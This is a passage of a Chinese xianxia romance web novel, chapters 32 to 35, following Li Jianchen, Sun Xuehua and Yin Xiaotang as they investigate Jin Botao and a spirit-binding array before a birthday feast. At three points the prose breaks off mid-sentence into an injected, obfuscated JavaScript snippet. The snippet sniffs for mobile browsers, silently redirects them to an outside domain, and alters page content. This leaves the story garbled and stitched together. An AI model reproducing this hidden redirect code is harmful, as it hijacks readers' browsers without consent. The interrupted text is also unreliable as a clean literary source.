p>李见尘靠得很近,动作很轻很柔,眉眼间却不似平日那般无赖,像是真的有些担心似的,孙雪华莫名想笑。 于是他笑了一下。 弧度很小,仅仅是嘴角微微上扬,若有似无的。 李见尘手一顿,问他:“你笑什么?” “我没有笑。” “你刚刚明明笑了。” “李门主也说过我的唇形很适合微笑,大概是你看错了。”孙雪华还是那般处变不惊的神情,李见尘不悦:“你就站那儿给他打啊?他万一手里有刀怎么办?” “我是断定他没有威胁,才站在那儿的。” “那孙掌门可真是自信。” “过奖。” 李见尘气不打一处来,手指按了按他的嘴角,可孙雪华叫都不叫一下,只是问他:“你怎么又生气了?这么容易生气,怎么管得住门下弟子?” 李见尘被怼得哑口无言,他发现了,这人看着高不可攀,实际上嘴皮子厉害得很,招惹到了,一定是吃不了兜着走。 “那孙掌门在门中,定是十分有威望了?” 孙雪华想了想,摇了摇头。 “还以为你会说,这是自然。”李见尘揶揄着,只听对方又道:“我继任掌门时,年不过十九,正是贪玩好胜的年纪。” “你也有那样的时候?” “嗯。”孙雪华注视着他,说道,“年纪还小的时候,有非常要好的朋友。” 果不其然,李见尘的脸色登时垮了下来,当即岔开了话题:“明日,宋忱就会在此举办他的八十大寿,宋漪也会回到江心洲。还有,你去追踪金伯涛,我认为不会有结果。” “嗯。” “活人炼丹,并不会留下痕迹。肉身与魂魄一同湮灭,一点灰烬都不会残留。” “嗯。” “所以你不如收回自己的灵术,省点力气。” 孙雪华淡然说道:“我只是好奇,金伯涛在整个事件里,扮演了怎样的角色。宁展阳是为了给宋涟复仇,那他是为什么?他为什么会有那张和宋澜息息相关的宣纸?又为何与宋漪关系密切?为什么要在闹鬼的事情上骗我们?” “万一真相就是金伯涛所言,闹鬼是个乌龙?” “那怎么解释江底石柱?”孙雪华看向他,“李闻棋的事情,你还对我隐瞒了多少?” “嗯,这个嘛——”李见尘故作沉思,半晌没给个回应。 孙雪华等着等着,忽地嘟囔了一句:“疼。” 李见尘抬眸,见他嘴角好像又肿了些,便凑过去,轻轻吹了吹:“这个药刚涂上的时候会有点疼,睡一觉就好了。” 孙雪华问道:“一定要等到早上吗?” 李见尘闻言,不知道想到了什么,笑了笑:“也不一定。” “我亲一亲就不疼了,你意下如何呢,孙掌门?” 孙雪华不语,既没有说同意,也没有像之前那样,怪他是个无赖。 他只是静静地坐着,好像快要睡着了。 今天一定很累了吧。 李见尘觉得自己也没做错,便轻轻地亲了亲他的嘴角,哄着:“马上就不疼了,小雪,再忍一忍。” 孙雪华没有太多的反应,李见尘又亲了亲,再抬眼,发现这人居然坐着睡着了。 “……” 不解风情。 李见尘心情微妙,大着胆子把孙雪华抱了起来,靠在自己怀里睡觉。 对方居然没有醒。 李见尘感到很意外,但想了想,今天确实一波三折,他再怎么厉害,也需要休息。 “孙掌门,并非我有意瞒着你,但是主角都没有登场,这场好戏,可开不了场。” 李见尘轻声说着,仿佛在讲一个无关紧要的故事,他忽然伸手,轻轻摸了摸孙雪华受伤的嘴角,叹道:“你还是太心善了,要知道,好人可不一定有好报。” 怀中之人呼吸绵长平稳,应是睡熟了。 李见尘便没有再有所动作。 孙雪华的眼睫微颤,并没有睁开眼。 32. 第 32 章 金伯涛独自回了住处。 这一夜,所有人都外出巡逻去了,院子里静悄悄的,连平日里拥挤的大通铺都显得空荡。 金伯涛打开房门,脸上笑意全无,只剩下无尽的疲惫。他脱下外袍,抽出一张符纸,掠过燃烧的烛火,一缕火光顺着纸符燃起,他挥手,用其扫了一遍上身,孙雪华的那点灵力很快消散,宛如零丁的萤火,转瞬即逝。 “还是被发现了。”他叹着,心下却不觉得难过,反倒隐隐地高兴起来。 他摸到床边,打开里边的暗格,那个被他藏起来的宣纸也不见了踪影。 金伯涛有些意外,喃喃着:“这也被拿走了?” 看来孙雪华怀疑他的时间要更早一些。 金伯涛坐在了床边,歇了一会儿,头脑放空了很久,有种雾里看花的茫然之感。他不太确定这么做是对的,可如今箭在弦上,不得不发,而他距离成功也只差一步。 金伯涛默默起身,掀开自己的床铺,撬动了隐秘的机关,床板缓缓打开,露出了里头藏着的物什。 那是一把长弓,和一个装着羽箭的箭囊。 金伯涛虔诚地拜了拜,口中念念有词:“师父保佑,明日一定大仇得报。” 言罢,他这才将那长弓取出,细致地打理一番,确保万无一失后,才将它们用麻布裹好,塞进了床铺之中。 另一头,尹晓棠在差不多成为废墟的院子里生了些篝火,给阿音烤饼吃。这江心洲目前戒备森严,人人自危,自然也没人来管她们。尹晓棠负责看守宋鸿几个,这会儿肚子饿得厉害,便从行囊里翻出了一点干粮,认认真真烤了起来。 “你还随身带这个?”阿音在篝火旁写下这些,尹晓棠给烤饼翻了个面儿,继续摆着个老练的姿势:“是啊,栾前辈和我说,我一个人出门在外,打不过就跑,饿了就吃,困了就睡,别一心想着出人头地,我修为这么差,还轮不到我出风头的时候。他让我每天晚上睡觉前清点一下行囊,补充点水和食物,免得饿了没饭吃。你放心吧,这个饼是我今天早上才从厨房拿来的,不会吃坏肚子的。” 她絮絮叨叨说了很多,阿音就问她:“栾前辈是谁啊?” “就是教我练功的师傅。”尹晓棠笑眯眯的,脚尖时不时踮一下,十分开心的样子,“我们五柳山庄不比从前了,到我这一辈,庄上没几个人能传道授业了,栾前辈算半个。” “为什么算半个?” “唔,因为他不是我们山庄的人,他应该算——”尹晓棠说着说着,忽然有些为难,“这说来话长了,我也不太清楚他到底是什么身份,反正他现在教我练功,算是我师父吧。可我还没有行拜师礼,他也不提,恐怕嫌我是个麻烦。” “他都愿意教你了,怎么还嫌你是个麻烦呢?”阿音不解,尹晓棠咯咯直笑,将那烤得酥酥脆脆的香饼递给她,阿音飘带一卷,就一整个塞进了嘴里。 “你小心烫。” 阿音两边腮帮子都鼓了起来,肉嘟嘟的,一个劲儿地摇头,没一会儿,那饼就全下了肚。 尹晓棠这才放下心来,又递给她第二块,阿音又写着:“那,那是栾前辈厉害,还是孙前辈厉害?” “当然是孙前辈厉害了,我还很小很小很小的时候,就听说过他了。” 尹晓棠跟个小麻雀儿似的说个不停,“至于栾前辈,嗯,我觉得他更像个读书人,不爱舞刀弄枪。” “原来是这样。”阿音卷着那块饼,一口一口啃了起来,尹晓棠将自己的水袋给她,让她喝些,而后就站起身,去查看一下另外三个人的情况。 刚走近没一会儿,小夏就一骨碌坐了起来,吓了尹晓棠一跳:“你醒啦?” 小夏头脑晕晕的,刚点了个头,又立马倒下了。 尹晓棠一摸他的脉象,倒也平稳,就松了一口气,慢慢往里伸出一条腿,跨过他,蹲在宁展阳跟前。对方还在昏睡,看样子孙前辈的术法并未解开。尹晓棠看着那张忧心忡忡的脸,微微摇头,又去看了看宋鸿。他长得孱弱,受到的冲击也不小,以至于昏昏沉沉了一整天,都没有醒来的迹象。 小夏和宁展阳身强力壮,勉强还能再挺一挺,可这人…… 尹晓棠思量着,就把烤饼放到人鼻子下边,轻声叫着:“醒醒,醒醒。” 那些香味并不能唤醒昏睡的宋鸿,对方像是失去了五感,不知温寒,不知饥饱,直愣愣地躺着,有些可怜。 尹晓棠不知道该怎么办,就见阿音的飘带伸了过来,卷起宋鸿,将他吊起来摇了摇。 对方终于有了反应,哼哼着,就睁开了眼。 阿音快速将他放下,宋鸿呆呆地坐在地上,一脸茫然,尹晓棠忙给他塞了那块烤饼:“趁热吃。” “啊?”宋鸿还在神游天外,可见了尹晓棠,那些零零散散的记忆又涌了上来,他警惕地四下张望,阿音早早地识趣躲了起来,并没有让他发现。 宋鸿这才放下心来,望着手里那块烤饼,向尹晓棠点头致谢:“多谢尹姑娘。” “不客气,你快吃吧。” 宋鸿便狼吞虎咽地吃了起来,嘴边的屑子簌簌往下掉,他也来不及擦去,哽咽着,泣不成声。 尹晓棠也不知该如何安慰他,只好轻轻拍了拍他的背,宋鸿艰难地咽下最后一点烤饼,抹了抹嘴,脸上早就哭花了,眼睛肿得跟个核桃似的,看谁都是眯着条眼缝。 “你还吃吗?”尹晓棠关切地问道。 宋鸿摇摇头,问她:“现在什么时辰了?” “三更天了。” “我昏了很久了吗?” “也不算久。” 尹晓棠见他对答清晰,不像先前那般疯癫,便问道:“你好些了吗?明天就是宋庄主寿宴,好多人要来。但是今天守卫长和我们打了一架,目前还不知道是什么情况呢。” “宁展阳吗?” “嗯。” 宋鸿神色复杂,只是在他病态的面容下,并不明显。 他道:“其实最开始的时候,宁护卫对我和姐姐都挺好的。” 尹晓棠听了,一下竖起了耳朵:“此话怎讲?” “我有个大哥,是,是宋漪的亲哥哥,可他常年在外修行,不常常回到这里。但是他有个剑侍,就是宁展阳,有些时候,他会让宁展阳回来送东西。” “有一回,我见到过他给阿姐送了两本剑谱,阿姐可高兴了,日日夜夜都在那里练剑。” 宋鸿回忆着,就又开始头疼,他揉着太阳穴,又仔细想了想:“可是后来,大哥就去世了,我那时候年纪也不大,大概,大概十岁左右。” “阿姐很伤心,她也跟着生了病。” 尹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762390|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晓棠琢磨着,盘腿坐在他身边,问道:“你把时间线再和我说说呢?” 宋鸿打了个嗝,像是要吐出来的样子,但他捂紧了嘴,深深吸了一口气,这才好受了些。 “我没有见过大哥,一直没有见过,十岁之前,我只见过宁展阳,我知道他是大哥的剑侍。” “我阿姐从我记事开始,就在练剑,宁展阳偶尔会来给她送剑谱,他和我阿姐关系应该不错。” “我十岁的时候,大哥去世了,阿姐也跟着生了病,这江心洲上每天都会有人来送药,可阿姐始终不见好,反而越来越重。后来阿姐说她怀孕了,不肯再喝,我就把那碗药偷偷倒了。” “再后来,阿姐就被宋漪害死了,那时候我大概,十四五岁。” 宋鸿头痛欲裂,低声叫着:“阿姐去世二十五年了,我也已近不惑之年。” 尹晓棠拍拍他的肩膀,劝道:“没事没事,想不起来可以不用说的,不要为难自己。” 宋鸿捂着头,使劲摇了摇:“不,你继续问,趁我还清醒,能帮你一些。” 尹晓棠有些理不清头绪,只好挑着个自己觉得奇怪的地方来问他:“你一直住在这个江心洲吗?可是小夏说这个江心洲建成没几年。” “这个江心洲一直都存在的,我从来没有离开过,可那时候,并没有这么多人。我每天只能见到阿姐,还有一个送饭和生活必需品的仆人。” “这个江心洲,是几年前人才开始变多的,就是,就是我用匕首刺伤宋漪之后,他们把我关了起来,我明显感觉到外面的人变多了,每天夜里,都会有脚步声在外边徘徊。” 尹晓棠愣了愣:“你被关起来之后,有没有听说过这个江心洲闹鬼?” “没有,没人告诉我这些,我也不能离开。” “那金伯涛被调走之后,你有没有再见过他?” “没有。” 尹晓棠万分不解,金伯涛为什么要骗她呢?难道是他真的与宋漪沆瀣一气,成了一条船上的蚂蚱? 她又想了很久,努力寻找着一些被自己遗忘的细节,此时,脑海中灵光一闪,她问:“你阿姐,就是宋澜,有没有特别喜欢的宣纸?” 那张藏在金伯涛床底下的宣纸,到底是何来历?孙前辈说它与宋澜息息相关,这又是为什么呢? “宣纸,宣纸。”宋鸿喃喃着,眼神空洞,“阿姐不练剑的时候,也爱读书写字。小时候,我们还能出去放风的时候,她还会给我讲这江心洲上,什么花结什么样的果,春生夏长,秋收冬藏,万物顺应天时,就是丰收时节。” 尹晓棠蹙眉,丰收,时节。 宋鸿感觉眼皮越来越沉,嘀咕着:“阿姐,阿姐说她也很喜欢读书习字,她会一直写下去,直到她无法再握笔。” 他头一歪,像是又要昏过去,尹晓棠忙扶住他,说道:“先别睡,再吃点吧。” 宋鸿摇摇头,仍是昏昏沉沉的。他忽地捏紧尹晓棠拇指上的那个骨韘:“这个,这个。” “这个怎么了?” 宋鸿咬着牙,半天没有吭声,他感觉自己忘记了一件事,但是怎么也想不起来,整个人像泡在冷水里,不停地抖动着。 尹晓棠问他:“是不是和金伯涛有关系?他也有这样子的骨韘。” “他有好多个,我见过的。” 33. 第 33 章 宋鸿感觉头脑里有无数只蚂蚁在爬,密密麻麻,无处不钻,像是要将他的记忆啃食殆尽。他猛地捂住头,试图控制住那些画面的分裂:“我第一次见到金护卫的时候,他的大拇指上就戴着一枚骨韘。” 宋鸿记得,那是个阴雨天,应该也是这个时节,这江上一旦开始下雨,就无比潮湿,他也会跟着骨痛,躺在低矮的床板上难以转身。 这是常年遭受殴打后留下的病根。 每到这个时候,他对这里所有人的怨恨都会达到一个顶峰。 金伯涛就是那个时候来的。 宋鸿疼得有点意识不清,连骂人的力气都没有了,他的眼睛眯开一条缝,就瞧见一个陌生的人影站在阴云之下,高大挺拔,好像都穿不过那狭窄的屋门。 天太黑了,金伯涛看上去像个索命的厉鬼。 宋鸿张张嘴,想说话,可话到嘴边才发现,自己嗓子太哑了,根本发出不来任何声音。印象中,金伯涛应该是说了些什么,但宋鸿不太记得了,他只记得对方给他喂了点热水,还找来了干净的食物和床褥,顺便打扫了一下他这破败的容身之所。 现在想来,那时候,金伯涛应该说了些关心他的话。 宋鸿发现对方手上戴了个扳指似的东西,这是他从来没有在别的护卫身上见过的陌生之物,他指着那个东西,嘴里发出含糊不清的语句,金伯涛伸手:“这个吗?” 宋鸿点点头。 “这是骨韘,用动物骨头做成的拉弓用的扳指。” 金伯涛看上去脾气很好,说话不急不缓的,宋鸿便记住了这句话。 但第二次见到这人,那个骨韘就不见了。 金伯涛说,以后要一直在这儿当差,不好再戴着以前的东西。 “你以前哪里的?”宋鸿问他。 “五柳山庄的,你听说过吗?” “没有。” 宋鸿被关了很多年,对外界知之甚少,金伯涛便向他介绍起了五柳山庄的起源、发展和巅峰时期的鼎盛之景,宋鸿听了,有些诧异:“五柳山庄那么厉害,那你怎么会来这个地方做护卫?” 在他看来,这个地方是肮脏腐败的,像一个臭水沟,到处都是令人作呕的老鼠。 金伯涛便又向他讲起五柳山庄的落寞,向他讲起那些气运殆尽,繁华枯败,滚滚岁月最终只落得一声叹息。 宋鸿只记住了一点,就是金伯涛学过招魂之术。 于是他旁敲侧击地询问,试图从这人身上找到办法,好让他能将阿姐的亡魂找回,若是不能,那么擒住几个幽魂怨鬼替他复仇,也是可以的。 宋鸿不懂修行,他自然不知道这其中的法门奥妙,他将所有的术法看得太简单太容易,以为只要学会了画上几笔,就能凌驾于那些力量之上。 可如果一切都唾手可得,又怎么会有人毕生不得其志? 宋鸿糊涂,他与金伯涛混熟之后,就将对方的巡逻犬偷偷弄到自己徒手挖出来的密室里弄死。那只大狗本来十分凶悍,但和宋鸿混熟了,并没有龇牙咧嘴地大叫,宋鸿猛地一扑,用潮湿的棉花被闷住它,整个身子都压在上面,将它活活闷死了。 那只大狗一个劲儿地扑腾,叫得凄惨,宋鸿听着听着就开始流眼泪,他想,这只狗真可怜,偏偏碰上了自己。 他太想复仇了,他被仇恨蒙蔽了眼睛。 那只狗渐渐不叫了,宋鸿抱着那被子哭得肝肠寸断,可现在还有什么办法呢?他必须要成功,他不能失败。 可当他使尽浑身解数,都没能完成一个招魂阵的时候,他就发了疯,将屋里的所有东西都砸了个稀烂,趴在地上凄厉地嚎叫,新来的护卫胆子有点小,以为他着魔了,忙去找人帮忙。 宋鸿就硬生生撞开一条路,像个野鬼一样,冲进了夜色之中。 他好像失去了意识,又好像知道自己要去干什么。 金伯涛前几天因为喝酒误事,弄丢了巡逻犬,被守卫长罚了,再没来探望过他。 宋鸿决定去向他道歉,向他忏悔。 对,是这样的。 宋鸿疯疯癫癫地奔跑着,正在巡逻的护卫见到他,都以为是什么怪物,吓了一大跳,胆子大的知道要擒住他,却没来得及动手,就被甩开了。 发疯的时候,人的力气最大,最恐怖,宋鸿也不例外,他就像燃尽了身体里最后一丝能量,要赶在彻底爆炸前,抵达他的目的地。 宋鸿并不知道金伯涛在哪里,就往亮灯的地方跑。有人在他身后追,他就往无人的林子里钻。 就是那么巧,他“咚”的一声撞在了一个人身上。 对方穿着黑色的斗篷,手里几个骨韘掉了出来。 宋鸿被撞得倒在了地上,双手胡乱摸着,就抓到了其中一个骨韘,可那人比他动作更快,迅速抢回了那些个东西。抬眸的一瞬间,宋鸿隐约看见了兜帽下那人的眉眼。 天色太暗了,他并不能在一瞬间确定那就是金伯涛,只是一个劲儿地大叫,爬起来发疯似的继续跑。 后来他就被抓到了,又是挨了好一顿打,关在屋里不见天日。 ……………… “就是骨韘,就是的。” 宋鸿紧紧捂着头,双目猩红,不断地重复这句话。尹晓棠只好施术让他暂且睡过去,免得他太过痛苦而再次发疯。 阿音又一次钻了出来:“一个疯子的话,可信吗?” 尹晓棠沉默片刻:“阿音姑娘,你稍等我一下。” 阿音点了点头,就见对方四下张望了一会儿,挑了个院中最高的树,爬了上去,现在了树梢最顶端。 尹晓棠摩挲着手中的骨韘,思绪万千。 五柳山庄善骑射,门下弟子都佩韘,也就是拉弓时佩戴在大拇指上的扳指。但韘的材质略有不同,大多数外人都以为,佩玉韘的是内门弟子,佩骨韘的是外门弟子。 其实不尽然。 骨韘也分很多种,有寻常动物的腿骨,也有灵兽的骨头。其中最具有影响力的,是猎魂鹰的骨头,那是五柳山庄豢养的灵物,平日里多是锁在塔中,有着强烈的摄魂噬魄的天性,非是本门弟子,不可驱使。每一只猎魂鹰死后,它身上最坚硬的骨头,就会被做成骨韘,用以嘉奖门内最骁勇善战的弟子。如老庄主的得意门生,陈勉,她就有两个韘,一个是她力压众人,塔尖登顶后得到的玉韘,还有一个就是她天下扬名后得到的骨韘。 尹晓棠手上的骨韘,也是用猎魂鹰的骨头做成的。 但这并不是她的东西。 这是她父母的遗物。 尹晓棠的父母均是老庄主近卫,曾经是庄内一等一的高手,因此也得到了嘉奖,有这样的骨韘。但十几年前,魔都祸世,她的父母皆战死,母亲的骨韘毁于战场,那父亲的那个,被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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怎么会呢?金伯涛怎么会这种法阵?这是听海崖的东西,他认识那里的人?他这么做的目的是什么?那些被藏起来的骨韘,到底会起一些什么作用? 难道,他也和宋家有瓜葛? 尹晓棠不敢细想,飞快地穿梭在建筑的阴影之下,她朝着这个江心洲最为明亮的地方飞奔,一头扎进了宴会主场。 “孙——” “前辈”二字尚未出口,她就紧急刹住了脚。 孙雪华正靠在别人怀里睡觉。 尹晓棠感到很意外,很震惊。 李见尘抬眸,见到这个小姑娘,默默伸出食指,尹晓棠以为他是想让自己小声些,免得打扰了孙掌门。她便深吸一口气,假装自己不存在,蹑手蹑脚地溜到了二人旁边。 “李前辈,我有件事要告诉你。” “嗯?” 又一次听到这句“李前辈”,李见尘仍然感到稀奇,便收了手,搭在膝上。 他本来是想动点手脚,以免尹晓棠走漏风声,但现在,被她撞见,也许并不是一件坏事。 “什么事呢?”李见尘笑盈盈的,有些好奇这个小姑娘会给他带来什么有趣的发现。 34. 第 34 章 “我发现,金伯涛好像也会听海崖的术法。” 尹晓棠将那张布局图和自己画的莲花图交给李见尘,细说了一遍自己的想法,满脸担忧:“涛哥难道也和宋澜的死有关吗?” “唔,不好说。”李见尘佯装不解,小姑娘有些沮丧,沉默地坐到了他旁边,微微低着头,摩挲着手上的骨韘。片刻后,她问:“李前辈,要不我现在就去把那些散落的骨韘捡起来吧?它们都被嵌在法阵上,万一有危险,我们好早做准备。” “现在离天亮已不足两个时辰,你就算绕着江心洲跑一圈,这点时间也不够。何况,按照你的说法,那些骨韘被人固定在某个角落,你若是不小心触动法阵,可就来不及逃命了。”李见尘认为此事不妥。 尹晓棠更是气馁:“那,那怎么办?” 她看向尚在熟睡的孙雪华,犹豫不决。她现在很需要这个人帮忙,可是又不忍心将对方叫醒。 李见尘见状,假意问她:“我帮你叫醒小雪?” 尹晓棠摇摇头:“让孙前辈睡吧,我觉得,他应该很少能这样安心地睡觉。” “你很了解他?” “不了解。” “那何出此言呢?” 尹晓棠认真想了想:“孙前辈很厉害,厉害的人,各有各的辛苦。” 李见尘闻言,无声地笑了:“你小小年纪,说话还挺有哲理的,从哪儿学来的?” “教我练功的栾前辈说的,我每次射不中旗幡的时候,他都这么说,不过原话不是这样。” “那是什么?” 尹晓棠轻轻叹了一口气:“今年开春的时候,栾前辈送了我一只小马驹,让我好好养着,等它长成了骏马,就是我的战友了。可我每次去给小马驹洗澡,它都要踢我,好几次后腿一蹬,就把我踢得在地上直滚。” “哈哈。”李见尘忍俊不禁。 尹晓棠两手抱胸,学着某人的调调,压低嗓子说道:“这个时候,栾前辈就说,你还小,正是吃苦的时候,万一哪天你出门被人打死了,连这种苦都吃不上了。” “噗。”李见尘没忍住,笑得大声了些,可他咬了下嘴唇,止住了笑意,再低头,孙雪华依旧呼吸绵长,似是睡意正浓,并未苏醒的迹象。 “你这个栾前辈,还挺好玩的。”他小声道。 尹晓棠点点头:“栾前辈就是刀子嘴豆腐心,其实他人很好的。可惜他不收我做徒弟,我一说要拜师,他就要消失几天,我怎么都找不到他,没办法,我就不敢再说了。万一他不肯再教我,我们五柳山庄就真的振兴无望了。” “哦?振兴五柳山庄是你的梦想?” “对,是我的理想。”尹晓棠提到这个,话又多了些,“我父母都是老庄主的近卫,是庄上一等一的高手,虽然我已经不记得他们的样子了,但是我知道他们很厉害,我也要成为这样厉害的人。” 小姑娘又像是重新振作了起来,双眼明亮澄澈,仿佛蕴含了无限希望。 李见尘没有说话。 他认为失意才是人生常态,能够过尽千帆,还不改初心之人,少之又少。尹晓棠现在能许下这般豪言壮语,仅仅因为她年少,她初出茅庐,她什么都不懂,她甚至有可能,走不出这个江心洲。但正因年少,这些慷慨之词,才听上去如此悦耳。 李见尘莞尔,并没有恶劣地捉弄她,反倒大发慈悲似的鼓励道:“你这么聪明,这么刻苦,一定能够成功的,我相信,将来这天下争锋,定有你一席之地。” “嗯!”尹晓棠握拳,很是高兴,“李前辈,你人真好,怪不得孙前辈这么信任你。” “嗯?” “孙前辈睡得这么沉,一定是很信任你的。” 信任吗? 李见尘居然在一瞬间觉得这个说法很可笑,很荒唐。 他与孙雪华之间,还有信任可言?拉扯、试探,说不定现在这人就是在装睡,在偷听他和这个小姑娘的谈话,等着他露出马脚。 但偏偏此时此刻,信任二字,远比喜爱、同情、怜悯,更为吸引他,令他心神软了几分。 李见尘眯起眼睛,似笑非笑:“我只是一介俗人,身无长物,品性不端,又怎么会得你这位孙前辈青眼呢?” “啊?”尹晓棠很是不解,在她看来,若非绝对的信任,以孙前辈的性格,又怎么会靠在人怀里睡觉呢? 她迟疑着,说道:“孙前辈是个很好的人,但不是特别容易接近,我想,如果不是他特别信任的人,他不会如此依赖的。” 尹晓棠念叨着,灵机一动:“就连孙前辈最好最好的朋友,都没有这么抱过他睡觉。” “噗。”李见尘哭笑不得,但不得不承认,他被这句话取悦了。 如此,他又大发善心起来,敛眉轻笑:“嗯,谢谢你。” “不谢不谢,李前辈你不要妄自菲薄,你一手创建了听海崖,也很厉害啊。” “你都听阿音说过了?” “嗯。” “不怨我吗?”李见尘话锋一转,“若非我创建了听海崖,也许就不会有黎思之这等败类,你们五柳山庄,便不会蒙受灭顶之灾。” 尹晓棠仍是摇头:“这和李前辈没有关系,黎思之就算不在听海崖,在其他任何一个宗门,也都是一个败类,他的错不能全归在你身上,就像我们五柳山庄,也不全是好人。我们老庄主那么正直善良的人,也没有办法教好他的小儿子。” 她似是想起了过去种种是非,心里很不是滋味:“我觉得吧,有些人的恶,是天生的,是无法被教导的。” 简简单单一句话,却如狂风过境,在李见尘心里掀起惊涛骇浪。 是啊,有些人就是天生的恶,诸如他这样的人。 李见尘勾起嘴角:“承蒙尹姑娘信任,李某,实在无以为报。不过,谈起黎思之,我倒是想起来,他一心追求长生,对炼丹一事,也很精通。” “嗯嗯,这个我知道。” “他还没有彻底堕落的时候,曾经用坏过很多个炼丹炉,也留下很多烂摊子,他的师兄李闻棋常常帮他善后,在这个过程中,李闻棋去其糟粕,取其精华,倒是发现了一些新的东西。” 尹晓棠竖起耳朵:“新的东西?” “有一种金石在冶炼之后,会留下一层银白的粉霜,泡水蒸干,铺平展开之后,形如宣纸,终年不腐不化,但一般笔墨却无法在上面留下痕迹。” 尹晓棠一怔:“你是说金伯涛藏着的那张纸,可能不是纸?” “不确定,但很可疑,就像我说的,这地方河网密布,一到这个时节,潮气弥漫,普通的宣纸早就烂了。” 尹晓棠一想,认为他说得很有道理:“那我们再把那张纸取出来看看?说不定上面是有字的,只是我们看不见。” “那张纸上没有字。” “啊?” 李见尘解释道:“那张纸如果真的是用金石冶炼制成的,那只有一种东西,能在上面留下痕迹。” “是什么东西?” 李见尘轻笑:“我忘记了,反正纸上是没有的,因为能用来留痕的东西很难得,纸上无字显形,就是没有。” “哦哦,原来是这样。”尹晓棠恍然,“那这张宣纸就很贵重了,金伯涛怎么会有呢?” “能得到这张纸,只能证明,金伯涛与李闻棋关系匪浅,而据我所知,李闻棋有个徒弟,当时应该才七八岁,是他收的第一个徒弟。但李闻棋去世后,这个徒弟也失去了踪迹。” “可这样算的话,年纪又对不上了。”尹晓棠百思不得其解,“涛哥只比我大几岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762392|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才二十出头呢,李闻棋去世起码有三十年了。” “这我就不知道了。”李见尘故意逗她,“你为什么不直接去问问金伯涛呢?我看他不像个恶人。” 尹晓棠没有回答这个问题,只是两手交握,将拇指上的骨韘握在掌心,沉默良久。 某人见状,再次说道:“那我们暂且不论金伯涛的身份,单说这个缚灵铸器之阵,定是要有祭品的,而明日便是宋庄主大寿,宴会上人声鼎沸,还有不少名门之流,他们若全做了祭品,后果不堪设想。” 尹晓棠点点头:“我知道。” “若是现在抓住金伯涛,阻止他开启此阵,事态或许仍有转圜。” 尹晓棠垂着眼帘:“要是抓住他,他一定会被杀的,宋庄主、守卫长、甚至那个从未露面的二小姐,都会追杀他到天涯海角。” “所以,抓住他,让他跟你回五柳山庄,或是去到临渊,才是最好的选择。”李见尘一语惊醒梦中人,尹晓棠猛地跳起来:“我怎么没有想到?” “趁他还未铸成大错,赶紧去阻止他吧。” “我马上去,谢谢李前辈。” 尹晓棠忙向他鞠了个躬,就匆匆跑走了。 李见尘望着她离去的背影,叹道:“年轻就是好啊,只要鼓动那么两句,就轻易地信了。” 他再次看向怀里熟睡的孙雪华,不由莞尔:“尹姑娘走了,孙掌门也听到自己想听到的了,为何还要装睡呢?” 没有回应。 李见尘有些奇怪,随口开起了玩笑:“小雪就这么信任我?要是这样的话,我可要误会你喜欢上我了。” 他轻轻拍了拍这人的后背,仍是没有反应。 李见尘这才感到一丝不妙,唤着:“孙掌门?小雪?孙霁初?” 孙雪华紧闭着双眼,表情并不痛苦,依然十分平和,可不管怎么叫他,他都没有醒来。与此同时,他的发梢上,也散发出一丝淡淡的潮湿的气息。 李见尘一愣,这种气息,他再熟悉不过。 “你是将自己的灵力注入了那颗宝珠吗?为了救我?”他不知为何,笑了一声,“小雪还真是个热心肠。” 他确实计划着,要将孙雪华的力量注入那颗宝珠,好让自己再获新生,可现在明显时机不对,出了点意外。 李见尘托着自己的那颗宝珠,见它依旧璀璨,便知道,孙雪华注入的灵力已被完全吸收,不可归还了。 他神色复杂。 说后悔,也谈不上后悔,他的最终目的,就是为了这个;说害怕,也谈不上害怕,孙雪华这般厉害的人物,损失这点灵力,并不会对他的性命造成威胁,只是他可能会像自己一样,不能遇水,遇水,便会触发那延续数百年的诅咒。 李见尘忽地怀念起那灿烂的,如日光般明媚磅礴的气息。 他想,孙雪华就是这点最迷人了。 “啧。”李见尘心里边更觉得奇怪了,奇怪在于,他好像真的有点难过。 若是这般光风霁月的人物,和自己一样,变成了一个不伦不类的怪物,着实可惜。 “孙掌门,其实我也不是很喜欢你,只是觉得你很纯粹,很适合助我完成复仇大业。当然了,你也有很吸引我的地方,不过呢——” 李见尘说不出来,他感觉有点心绪不宁,尽管只有一点点,可这点不安,于他而言已经非常多了,毕竟他心眼小,只装得下这么多。再多一些,他的心脏就会爆炸。 李见尘忽地抱紧孙雪华,头埋在这人颈侧,似乎在寻找那些令他心安的味道。 孙雪华其实一开始是听到的,但从他们谈论起“李闻棋”时,他的意识就开始下沉,他仿佛还浸泡在那幽深的江水里,身下就是那片怪异嶙峋的石林,而面前依然耸立着那根石柱,巍峨怪诞。 35. 第 35 章 石柱之中的人影依旧紧闭着双眼,似是在沉睡。孙雪华仍然看不清他的全貌,只能感觉到一股宁静祥和的气息,静悄悄地徘徊在自己身侧。 “是你召唤我至此吗?” 孙雪华问道。 